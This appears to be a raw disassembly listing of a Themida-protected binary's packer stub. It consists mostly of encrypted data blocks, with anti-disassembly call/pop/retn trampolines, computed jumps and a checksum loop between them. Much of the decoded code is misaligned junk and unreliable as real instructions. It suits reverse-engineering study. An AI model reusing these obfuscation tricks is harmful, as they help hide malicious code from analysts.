		dd 0FA4F668Dh, 0FEBF0F07h, 0B589E1FFh, 7FA3525h, 2BD9BD83h
		dd 0F0007FAh, 41F84h, 46CF8000h, 0A1F375BFh, 0D9BD8343h
		dd 107FA2Bh, 425840Fh, 6A0000h,	3E850h,	58200000h, 448958C3h
		dd 44810424h, 1A0424h, 50400000h, 840B76C3h, 0EB544F90h
		dd 0CE9h, 0BEA64C00h, 27187A0Fh, 74FA5A1Dh, 0E5BD319Bh
		dd 8307FA2Eh, 0FA2BD9BDh, 860F0307h, 3A9h, 2448E381h, 66602B75h
		dd 0F0B41BFh, 108Bh, 9E95200h, 30000000h, 88BC2688h, 3D9C732h
		dd 0D98C665Fh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 18h,	75C35343h, 4D47346Fh, 0BF04E180h, 0BA737EBh, 840FC90Ah
		dd 129h, 0E851006Ah, 3,	59C35920h, 4244C89h, 4244481h
		dd 1Ah,	0C7C35141h, 0D42F64DDh,	9D0B3AC5h, 7FA21E9h, 0FE9858Bh
		dd 6A07FAh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h
		dd 57470000h, 0EE6834C3h, 816029CEh, 45AF5CE0h,	8D958B6Ch
		dd 6107FA29h, 15E18533h, 6A07FAh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1B0424h, 57470000h, 26E23DC3h, 26E97AB6h
		dd 0DE8B5003h, 6A240489h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1A042444h, 40000000h, 0F51C350h, 0E2C96D77h
		dd 6A006A7Ah, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1C042444h, 41000000h, 3CBBC351h, 64A5AA9Ch, 0E9402877h
		dd 11h,	7FA13104h, 0F9B8EE6Ah, 0F6409CB2h, 0DE6040Bh, 0A951689Dh
		dd 0DF8B3895h, 0AE243481h, 81388AAAh, 0AF33D7C7h, 0E995FF3Fh
		dd 2B07FA1Ch, 0FA25C99Dh, 89FE8B07h, 0FDEB9685h, 1860F07h
		dd 0F9000000h, 14A1B589h, 87E907FAh, 23000001h,	0FA2F8DBDh
		dd 8E858B07h, 8B07FDEBh, 0FA0A619Dh, 1800C707h,	6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 19042444h
		dd 43000000h, 0FB59C353h, 0BA142982h, 0F8C38166h, 92B58B5Eh
		dd 8B07FDEBh, 0FA17D59Dh, 51858B07h, 8907FA0Dh,	0F9BF0F06h
		dd 0FE9858Bh, 8D2907FAh, 7FA1E59h, 6A044689h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
		dd 38C2C357h, 65E419EBh, 1F9B509h, 0BB9607FAh, 5F406458h
		dd 8B665750h, 0E9965FF8h, 0Bh, 12E40092h, 7D6B0A97h, 18FE45Bh
		dd 0FA2A319Dh, 8EB5FF07h, 6A07FDEBh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 0DBA4C356h
		dd 5EBB412h, 8B84689Dh,	52502759h, 8AD18B60h, 310F61CBh
		dd 3481585Ah, 46887B24h, 55006A27h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1404h, 0C3554500h, 0EB816639h, 858D48E3h
		dd 7FDEB96h, 0D24315BFh, 8E99056h, 6D000000h, 964442DDh
		dd 5097E74Ch, 1D830Fh, 11E80000h, 57000000h, 1525DF5Fh
		dd 0F9614A0Dh
		dd 3FD32499h, 0ECE105B7h, 310F5250h, 905B585Ah,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 15h, 0C0C35040h, 0E995FF33h
		dd 0E907FA1Ch, 12h, 46E8E306h, 0B779262Fh, 15E72A8Fh, 104F0CD7h
		dd 6A6146B1h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 16042444h, 43000000h, 5A63C353h, 71BD2940h, 0C707FA0Ah
		dd 0FA2BD985h, 307h, 51006A00h,	3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1904h, 0C3514100h, 25067702h, 0BD830246h
		dd 7FDEB96h, 4E840F00h,	6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 0F5D9C356h
		dd 45E92FFFh, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 16042444h, 45000000h, 0E08DC355h,	1822BBFFh
		dd 0BB515C03h, 3C2D73C5h, 0C30505Bh, 11440011h,	10E8C101h
		dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h
		dd 1116400h, 3010E8C1h,	21144h,	58031164h, 7504E983h, 501BEBE7h
		dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
		dd 0E77504E9h, 0C08B00EBh, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 19h, 53C35141h, 0B87AAF53h, 0A9BD8BA5h, 6A07FA16h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1C042444h
		dd 41000000h, 88F3C351h, 0AA5C9513h, 8B078CE5h,	0FA15DDBDh
		dd 0D9BD8307h, 307FA2Bh, 425850Fh, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 140424h, 56460000h, 0F78012C3h
		dd 258509DCh, 8307FA05h, 0FDEB96BDh, 840F0007h,	3F3h, 227D9D8Bh
		dd 0B5FF07FAh, 7FDEB96h, 7E9h, 0DD4D1700h, 0F3E886E2h
		dd 274595FFh, 9D3107FAh, 7FA1DF9h, 0EB8AB58Bh, 6A07FDh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 0E99C91C3h, 6C7E860h, 10001h, 50505F56h, 66525052h
		dd 310FF98Bh, 585A6160h, 0BF66310Fh, 585A67DBh,	6A243489h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 16042444h
		dd 47000000h, 4D18C357h, 0BF66A8h, 96B5FF98h, 0F07FDEBh
		dd 188Bh, 13E900h, 3CC40000h, 5EEE1F7h,	50911EE2h, 5E9A11AAh
		dd 0B6E4D4B0h, 0E195FF18h, 6A07FA18h, 3E85300h,	20000000h
		dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 80D9C353h
		dd 0B58B65CFh, 7FDEB8Ah, 0BE9h,	9B299300h, 8C8BBFD9h, 4A2831EDh
		dd 1C7D858Bh, 6A07FAh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 190424h, 57470000h, 8B3AB9C3h, 51E54939h, 29E59D89h
		dd 895F07FAh, 0C486h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1604h, 0C3564600h, 8B7BA155h, 0FA1CD995h
		dd 459D0307h, 8307FA0Fh, 508904C2h, 52006A20h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 4701F8Ah, 8D138235h
		dd 0FDFEF785h, 55006A07h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1D04h, 0C3554500h, 8B448DD4h, 51F274D3h
		dd 9529A19Bh, 7FA0F6Dh,	68D0Fh,	0BD0B0000h, 7FA1F81h, 0B88689h
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h
		dd 51410000h, 66375EC3h, 8166D98Bh, 6A9F3CF3h, 0FA8B6600h
		dd 0EB96B5FFh, 0FFFC07FDh, 0FA1C9595h, 68B0F07h, 8B000000h
		dd 0FA01D19Dh, 0E8609607h, 0Eh,	0D81DAD68h, 3BACE58Ah
		dd 2B9FD419h, 0FE951CBh, 0DC000000h, 0B841483h,	0EE8780C2h
		dd 3A14A9D3h, 8B5EFE58h, 0BB5061F8h, 1929C14h, 0F3816096h
		dd 1CF965D8h, 11298D8Bh, 0FF6107FAh, 0FDEB96B5h, 39BD8B07h
		dd 0FF07FA07h, 0FA1D9595h, 50006A07h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 0BB694B92h
		dd 0E090BF66h, 31BD83F5h, 7FA01h, 41840Fh, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
		dd 8BFC19C3h, 0FA2815BDh, 10E99607h, 10000000h,	0DD0F970Dh
		dd 4D70DE3Ch, 4D371E90h, 50C15D7Dh, 4DB58996h, 0FF07FA06h
		dd 0FDEB96B5h, 55006A07h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1804h, 0C3554500h, 5067A6B7h, 0D5BD8B20h
		dd 0FF07FA0Ah, 0FA1CB595h, 50006A07h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1C04h,	0C3504000h, 4A2D81FBh
		dd 48E5EE81h, 0B70F50ADh, 0ADBF5BFEh, 0FF5CB3B1h, 0FDEB96B5h
		dd 8DF8107h, 0FF3D7DC0h, 0FA21AD95h, 50006A07h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1C04h,	0C3504000h, 0D5E76A7Eh
		dd 357D3501h, 0ED952981h, 907FA01h, 0FA07F5BDh,	21BD8307h
		dd 207FA22h, 53840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 140424h, 53430000h, 0BF0F14C3h, 15858BFAh
		dd 6A07FA16h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1A042444h, 43000000h, 332DC353h, 0BB35AF54h,	0DBB70F11h
		dd 890000C6h, 0FA1641BDh, 0DD85C707h, 7FA16h, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 18042444h
		dd 40000000h, 6E7CC350h, 0F2A9B04h, 280h, 0E9F98B00h, 0FFFFF305h
		dd 47F9BB66h, 2F2DBD8Bh, 0C18B07FAh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Bh, 30C35141h, 24773039h, 0F729361h
		dd 388h, 0DF8B6600h, 13E9h, 0EE686A00h,	7, 3 dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5D0E0B
; ---------------------------------------------------------------------------
		db 1Bh,	0FBh, 0A3h
		dd 4C52C06Dh, 0F2AC6916h, 9E000FBCh, 4856BB68h,	4229DE12h
		dd 0EC99CFCFh, 93407628h, 3EEB217Dh, 0C493C9D5h, 56ED506Ch
		dd 0AD1307E5h, 326CA7F6h, 0CFCF42A7h, 7727EC99h, 128C87ECh
		dd 740D3787h, 4AE0B794h, 31E18E34h, 8C88DD6Dh, 80D96C12h
		dd 0A4700630h, 0D4E580B3h, 0FF3AD2Eh, 0B7649A04h, 9F021E59h
		dd 0C5FFE6DEh, 20CD036Ch, 0FBA372F0h, 8DB70792h, 120AA6C7h
		dd 13C06602h, 80129D01h, 8ECE9D57h, 0E6FB0F72h,	67CAE6FFh
		dd 8DFFE6FBh, 0F59AF334h, 31DE841Ah, 52FBFDFh, 4936AFF3h
		dd 0B9F79DB6h, 0C97070Ch, 0E6AF7AE0h, 0F923ABFFh, 0A2735F5Bh
		dd 1FB882FCh, 2BE5660Ch, 7524EC24h, 7793D338h, 0FFE70D14h
		dd 0E0239D09h, 74B5BA61h, 2E6AA11Bh, 0B3875FADh, 712C0Dh
		dd 0A7BD0000h, 57A7326Ch, 6910D02h, 5EC337DDh, 8BFFE683h
		dd 2159601Ah, 838748Fh,	0B43F5FB3h, 104E58Bh, 95000000h
		dd 0F00C6BA7h, 0FFE6838Dh, 4FE05AB3h, 4D6892C4h, 63C853BCh
		dd 1464EFAFh, 0A24856BFh, 78731AF5h, 0C59ABB9Dh, 0B13C62B2h
		dd 2BB61F88h, 0FBDF99D2h, 0B9518717h, 81E43E8Fh, 4FF58CA1h
		dd 0F72D71A2h, 0A0031F5Fh, 0C6FFE686h, 0A710C76Dh, 44A9346Ah
		dd 0E045D0CEh, 7ADF6A34h, 2B7D0896h, 6A8F4802h,	0F51BAD08h
		dd 79AA066Fh, 4136DBBFh, 0E6EEC225h, 2E97F0FFh,	80B60F8h
		dd 0D043F096h, 0A9FE3ECEh, 64C7336Bh, 92FFE6EEh, 9B009339h
		dd 6A94247Ah, 0EB3AB0F7h, 6993F42h, 121F49E1h, 392D553Eh
		dd 0A05ADB81h, 75385199h, 8AEF38h, 0A7800000h, 59A9346Ah
		dd 8930B04h, 0C52E70A3h, 20ABF320h, 71A451F7h, 0D43DA22Dh
		dd 39DA3FCAh, 5596DA65h, 215AF39Bh, 108E8367h, 0A9E42DDAh
		dd 0EA8D0A4Ah, 92AE3EC8h, 0FFE6C22Fh, 893FC55h,	0A7326CA3h
		dd 55AAEA82h, 2F58E3BBh, 0E6C260C3h, 872D86FFh,	0FD454C06h
		dd 9B3874C7h, 43h, 236AA72Ch, 7E4E420Bh, 2C8FAB38h, 5AFFE731h
		dd 0A42F9801h, 8191D13Fh, 0E529B41Dh, 3820638Dh, 0BF6B763h
		dd 462AE465h, 0E69DD3CBh, 0A8336BA7h, 0E683167Ch, 1CD647FFh
		dd 748EDD15h, 17B38h, 0A70C0000h, 0ADC9096Eh, 0FFE6834Ah
		dd 50B31F78h, 76FFE683h, 0C429B41Dh, 7FBF4F4Fh,	0E6830063h
		dd 27CD26FFh, 1FD90294h, 34C4DA3Bh, 0DE6935DFh,	70D10FB5h
		dd 9BB74719h, 7E09A3Dh,	20851069h, 56884F3h, 2B07E09Ah
		dd 863369D2h, 533AD58Dh, 322DB2EAh, 921D8632h, 49750069h
		dd 7E12AE4h, 0F0D48ECFh, 0C9D53F23h, 9A7BD060h,	0F5587404h
		dd 1B07E12Ah, 31DE1CC2h, 0F8F80E2h, 5EB65B84h, 0FC4CD740h
		dd 22DEDFD2h, 0C1677D13h, 938EFF14h, 0C3ECD641h, 304CD740h
		dd 0E08293E8h, 77026B33h, 6D27A84Eh, 0F1B2749Eh, 305A18F5h
		dd 932BDE1h, 0C64DFAA0h, 3B1E48D8h, 67EE7E1Bh, 8E5E9C42h
		dd 406F6D56h, 113F4h, 96F38500h, 9A9757B9h, 65CEA17Ah
		dd 746B95D5h, 0B85FB721h, 948D40A2h, 0C3616F1Ah, 8F53A91Dh
		dd 267F07E1h, 0C1DD369Bh, 4433DC31h, 0E165C528h, 2992EB07h
		dd 7B984583h, 5C931912h, 4DB6AE62h, 0F1AD68BDh,	4973D66h
		dd 22EE749Fh, 6C88137Ch, 769D813Bh, 55AF228h, 1DED930Bh
		dd 406EB2E5h, 3D83h, 9AF31400h,	971A36C6h, 3D7FE683h, 14FF54E4h
		dd 2551E48Ah, 7FE682C2h, 0EDBC769Fh, 14F2D1C3h,	0D0768D22h
		dd 7231E6Fh, 7FE586A4h,	801079D2h, 0E585E164h, 4076CFFFh
		dd 7359h, 96F3F200h, 0B41E3ACAh, 3207E09Ah, 2AE94ED9h
		dd 82913E74h, 0FD65911Ch, 0A607E099h, 4CC7AB65h, 0A46DC252h
		dd 9954B7D3h, 298207E0h, 660C35C0h, 9EC2C728h, 6DE7F20Eh
		dd 0A4FD0FDFh, 3F5FB419h, 0E3BB5AAFh, 45D43753h, 0A902FFEBh
		dd 0B5DE7003h, 3A2663FBh, 8EA780AAh, 4C32F8EAh,	8B316DA7h
		dd 0CCD7F3h, 81DA07EAh,	0ED759CF1h, 830E7727h, 0BF76B45Ah
		dd 87A396F3h, 0FFE68324h, 4B53BD52h, 0C52E97C0h, 71A0F535h
		dd 0D379A22Dh, 0E557545Fh, 6EF95207h, 2F830A09h, 89E67245h
		dd 2B8EAA3Ah, 5907E483h, 0B4619700h, 64B43F5Fh,	0F399050Fh
		dd 0F5355D7Fh, 0A1E13107h, 0D5352285h, 0E0C81707h, 16BBC20Bh
		dd 55D67CD5h, 425CB79Bh, 0EAB45F0Ch, 9BFE1A5Ah,	0C907D4B5h
		dd 0D237CA70h, 44D6613Dh, 967D611Bh, 0EE25D208h, 80D525B0h
		dd 7D640A94h, 3, 0A75CBB16h, 3FA42F6Fh,	0DA3FCAD4h, 78DD6836h
		dd 1277029Ch, 0AF149FFFh, 4CB13C62h, 0EB50DBC3h, 84E9742Ah
		dd 5285108Eh, 4EC81h, 1C890000h, 81E38924h, 4C3h, 4EB8300h
		dd 5C241C87h, 42768h, 24348900h, 7EF268h, 24148900h, 5559B951h
		dd 0BF57017Dh, 17B252BDh, 52FAEF81h, 0F7816DF3h, 0A0C2D60Eh
		dd 295FFE89h, 8B5459CEh, 0C4812414h, 4,	8904EC83h, 428F2434h
		dd 24148B08h, 81E68956h, 4C6h, 4C68300h, 5C243487h, 5E2434FFh
		dd 0E904C483h, 0FFFBA530h, 0BD1E565Fh
		db 0C9h, 12h, 8Ah
; ---------------------------------------------------------------------------


loc_5D0E0B:				; CODE XREF: Themida_:005D08B0j
		mov	eax, 7FED94Bh
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dd 6E2A75F4h, 391425B0h, 0C66632Ah, 5A4B5522h, 595E7827h
		dd 2D4E89C7h, 0A441A34h, 308A2A7Fh, 7B9B5107h, 122AA749h
		dd 70ED1F6Bh, 6307F06Ah, 134E7542h, 521DA41Bh, 1158E04Ah
		dd 0CF178AFh, 5A812DCBh, 51EABF05h, 36D995BDh, 4EF2AEFEh
		dd 4F9F4033h, 6A978D7Fh, 14F29ACCh, 199858Dh, 6A07FAh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 90EF3AC3h, 619D8BC0h, 5007FA2Bh, 0CF53BFBBh,	24048919h
		dd 6840Fh, 8D890000h, 7FA0D25h,	6A006Ah, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 160424h, 56460000h, 0DED881C3h
		dd 10798D29h, 6A07FAh, 0C85BD8Bh, 858D07FAh, 7FEDC37h
		dd 6A05C083h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 19042444h, 41000000h, 5E08C351h, 0A368CF56h,	0B01ABB50h
		dd 489176Dh, 9D8D8924h,	6A07FA2Ch, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1804h,	0C3504000h, 3564333Dh
		dd 0B1953162h, 6A07FA0Ah, 68C0F00h, 29000000h, 0FA1F9D9Dh
		dd 0E995FF07h, 6A07FA2Bh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 5E77C356h, 8B4DFD8Bh
		dd 0FA16C9BDh, 118D8D07h, 6607FDD7h, 0CCF9DF81h, 0EF81D1FFh
		dd 1AA13FBDh, 0FCD78166h, 0EDBD8309h, 107FA33h,	0DA850Fh
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
		dd 55450000h, 0BF605BC3h, 2F506E2Ch, 68D0Fh, 8D8B0000h
		dd 7FA0029h, 6A026A61h,	3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 15042444h, 43000000h, 86AAC353h, 1C59D29h
		dd 0BF6607FAh, 9D8BADBBh, 7FA317Dh, 0BE850h, 698E0000h
		dd 0A38CC120h, 7115B111h, 5BDF8B48h, 6A240489h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
		dd 94CAC352h, 8106EB9Fh, 95575BEBh, 9595FF4Ah, 6A07FA1Ch
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 19042444h
		dd 43000000h, 9266C353h, 0F93BCC40h, 13E9h, 7824B000h
		dd 0CC971444h, 85374640h, 0E8C1652h, 70AE8B31h,	0D92E9h
		dd 0E800h, 815D0000h, 0FEDC41EDh, 0E7816607h, 8D01F721h
		dd 7FA0089h, 88D78151h,	5F0637FCh, 0B959858Dh, 6A07FDh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
		dd 890F24C3h, 6, 108BDB81h, 50906B0Eh, 0DE8h, 0B3802E00h
		dd 47A3DAAFh, 99066372h, 12E8699Bh, 0C000000h, 0EB84744Dh
		dd 17758875h, 0A0882A36h, 0EBAA02F8h, 38BB66E3h, 905F5FB6h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 0F1C35545h
		dd 6360B78h, 35FF64B6h,	0
; ---------------------------------------------------------------------------
		push	0
		push	eax
		call	sub_5D112F
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D112F	proc near		; CODE XREF: Themida_:005D1127p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Bh
		inc	eax
		push	eax
		retn
sub_5D112F	endp

; ---------------------------------------------------------------------------
		db 0Dh
		dd 3974D0F2h, 89F616ECh, 0FA08498Dh, 25896407h,	0
; ---------------------------------------------------------------------------
		push	0
		push	ebx
		call	sub_5D115F
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D115F	proc near		; CODE XREF: Themida_:005D1157p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ch
		inc	ebx
		push	ebx
		retn
sub_5D115F	endp

; ---------------------------------------------------------------------------
		db 67h
		dd 906DDC5Ch, 0B463A8FEh, 104985FFh, 6A07FAh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 645665C3h
		dd 0B92CC42Eh, 81FB0F25h, 99A24CDBh, 6AFF6A01h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h
		dd 606EC351h, 1850Fh, 57F90000h, 0B5FF615Ah, 7FA2EA9h
		dd 0B24ECF81h, 0B514C15h, 0FA17399Dh, 95FF5B07h, 7FA2875h
		dd 0EFE9h, 20BB6600h, 0C58D291Ch, 0B007FA23h, 9D296000h
		dd 7FA0009h, 102DBD01h,	0E66107FAh, 158C0F70h, 0E9000000h
		dd 10h,	7FBD0C2Dh, 25A11716h, 96C72967h, 0E8A0187Dh, 613C71E4h
		dd 0AE830Fh, 85890000h,	7FA08C1h, 0BAC8B60Fh, 6, 81C18BF5h
		dd 0C8F09C7h, 4E8C10Bh,	28FDBD8Bh, 0F76607FAh, 8BC82BE2h
		dd 0FA0739BDh, 0E9D18B07h, 8, 0A5952957h, 5B07FA2Ch, 1175858Bh
		dd 0BD8B07FAh, 7FA1479h, 8907C083h, 0FA0A6DBDh,	0C08307h
		dd 1EADBD89h, 0D03B07FAh, 1D830Fh, 0AE80000h, 0E8000000h
		dd 1F782518h, 2B4B041Eh, 9D8D8937h, 5B07FA18h, 33E9h, 8BF98B00h
		dd 0FA27658Dh, 32EB8007h, 0F01E183h, 1F84h, 659D8900h
		dd 8307FA2Ah, 0FA2765A5h, 8166FE07h, 890E17EFh,	0FA117595h
		dd 0E9DA8B07h, 0
; ---------------------------------------------------------------------------
		lea	esi, [ebp+7FE4CDCh]
		push	0
		pusha
		jmp	loc_5D12FB
; ---------------------------------------------------------------------------
		dw 7621h
		dd 38B87774h, 77747621h
		db 0B8h, 38h, 21h
; ---------------------------------------------------------------------------


loc_5D12FB:				; CODE XREF: Themida_:005D12E9j
		sub	[ebp+7FA214Dh],	eax
		popa
		call	dword ptr [ebp+7FA1019h]
		push	0
		push	ebp
		call	sub_5D1313
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D1313	proc near		; CODE XREF: Themida_:005D130Bp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Bh
		inc	ebp
		push	ebp
		retn
sub_5D1313	endp

; ---------------------------------------------------------------------------
		db 8Ch
		dd 0A11E3249h, 0B93CC5EEh, 901h, 1F59BD89h, 958907FAh
		dd 7FA1181h, 8BFCE183h,	0FA2209BDh, 9D8BFC07h, 7FA2485h
		dd 0B8h, 1DB50100h, 0BA07FA35h,	0
; ---------------------------------------------------------------------------
		or	ebx, [ebp+7FA0D41h]
		mov	[ebp+7FA30D1h],	eax


loc_5D1368:				; CODE XREF: Themida_:005D1372j
		lodsd
		xor	eax, edx
		shr	eax, 1
		add	edx, eax
		sub	ecx, 4
		jnz	short loc_5D1368
		push	0
		push	ebp
		call	sub_5D137F
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D137F	proc near		; CODE XREF: Themida_:005D1377p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ch
		inc	ebp
		push	ebp
		retn
sub_5D137F	endp

; ---------------------------------------------------------------------------
		db 0FBh
		dd 0C4AF7D97h, 0E780E25Fh, 0FBBF0F51h, 93BB665Bh, 0A800F07h
		dd 60000000h, 0DE815F57h, 6A2DDFDAh, 880D61h, 0DE90000h
		dd 5C000000h, 0F7B41ECFh, 8E6C7B49h, 47B4AE07h,	1CD9958Bh
		dd 0EE907FAh, 0DE000000h, 0B20E8F5Bh, 0F777494Bh, 498F2C32h
		dd 0AD8D8BE3h, 6A07FA31h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 16042444h, 42000000h, 0EA21C352h,	0A7D781EFh
		dd 32DCF09h, 0FA15859Dh, 0DF816607h, 8B50393Eh,	3188BC2h
		dd 8B188BC1h, 3E8D1C1h,	58188BC2h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 17h, 67C35646h, 80B46C89h, 9D0900D7h
		dd 7FA0B25h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Dh,	0F3C35646h, 44EEBEF7h, 181ECB32h, 0B8BF668Bh, 29BD83BCh
		dd 7FA2Ah, 7F840Fh, 6A0000h, 3E853h, 5B200000h,	5C895BC3h
		dd 44810424h, 180424h, 53430000h, 0E6F37AC3h, 16BBD3B2h
		dd 0B807DCF2h, 0
; ---------------------------------------------------------------------------
		mov	ebx, [ebp+7FA1789h]
		lea	ecx, [ebp+7FA4F66h]
		push	0
		push	eax
		call	sub_5D14C7
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D14C7	proc near		; CODE XREF: Themida_:005D14BFp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 14h
		inc	eax
		push	eax
		retn
sub_5D14C7	endp

; ---------------------------------------------------------------------------
		or	dword ptr [edi], 48Eh
		add	[ebx-75h], dl
		sti
		pop	ebx
		jmp	ecx
; ---------------------------------------------------------------------------
		push	0
		push	eax
		call	sub_5D14EF
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D14EF	proc near		; CODE XREF: Themida_:005D14E7p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 19h
		inc	eax
		push	eax
		retn
sub_5D14EF	endp

; ---------------------------------------------------------------------------
		sti
		sub	ah, ah
		mov	edx, 0BD836946h
		fldcw	word ptr [ebx]
		cli
		pop	es
		add	[edi], cl
		test	ah, dl
		add	eax, [eax]
		add	[ebx-5D42643h],	al
		pop	es
		add	[edi], ecx
		test	dh, al
		add	eax, [eax]
		add	[ebx-5F5A243h],	cl
		pop	es
		cmp	dword ptr [ebp+7FA2BD9h], 3
		jbe	loc_5D18D9
		pusha
		mov	edi, 174BAF4h
		xor	[ebp+7FA2165h],	ebx
		mov	cx, ds
		or	[ebp+7FA2541h],	eax
		stc
		and	cl, 4
		push	0
		push	ebx
		call	sub_5D1556
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D1556	proc near		; CODE XREF: Themida_:005D154Ep

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 14h
		inc	ebx
		push	ebx
		retn
sub_5D1556	endp

; ---------------------------------------------------------------------------
		dw 0AE4h
; ---------------------------------------------------------------------------
		leave
		jz	loc_5D1680
		mov	edi, [ebp+7FA2F99h]
		mov	eax, [ebp+7FA0FE9h]
		push	0
		push	ebx
		call	sub_5D1586
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D1586	proc near		; CODE XREF: Themida_:005D157Ep

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ah
		inc	ebx
		push	ebx
		retn
sub_5D1586	endp

; ---------------------------------------------------------------------------
		sbb	eax, 93C79C47h
		pop	eax
		and	dword ptr [esi-75h], 0E18533FAh
		adc	eax, 6A07FAh
		push	ebp
		call	sub_5D15B1
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D15B1	proc near		; CODE XREF: Themida_:005D15A9p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 15h
		inc	ebp
		push	ebp
		retn
sub_5D15B1	endp

; ---------------------------------------------------------------------------
		db 60h,	0EAh, 50h
; ---------------------------------------------------------------------------
		jmp	loc_5D15CE
; ---------------------------------------------------------------------------
		db 58h,	74h, 21h
		db 9Ah,	0Eh
; ---------------------------------------------------------------------------


loc_5D15CE:				; CODE XREF: Themida_:005D15C4j
		mov	[esp], eax
		push	0
		push	ebp
		call	sub_5D15DC
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D15DC	proc near		; CODE XREF: Themida_:005D15D4p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ch
		inc	ebp
		push	ebp
		retn
sub_5D15DC	endp

; ---------------------------------------------------------------------------
		dd 7A4D62E3h, 4068A6DEh, 0BF006A42h, 44C25ECEh,	10E5EF68h
		dd 6E997h, 6C990000h, 0AE877A4h, 10240481h, 6A690E1Eh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 14042444h
		dd 45000000h, 8114C355h, 910DC6EBh, 6820F32h, 8B000000h
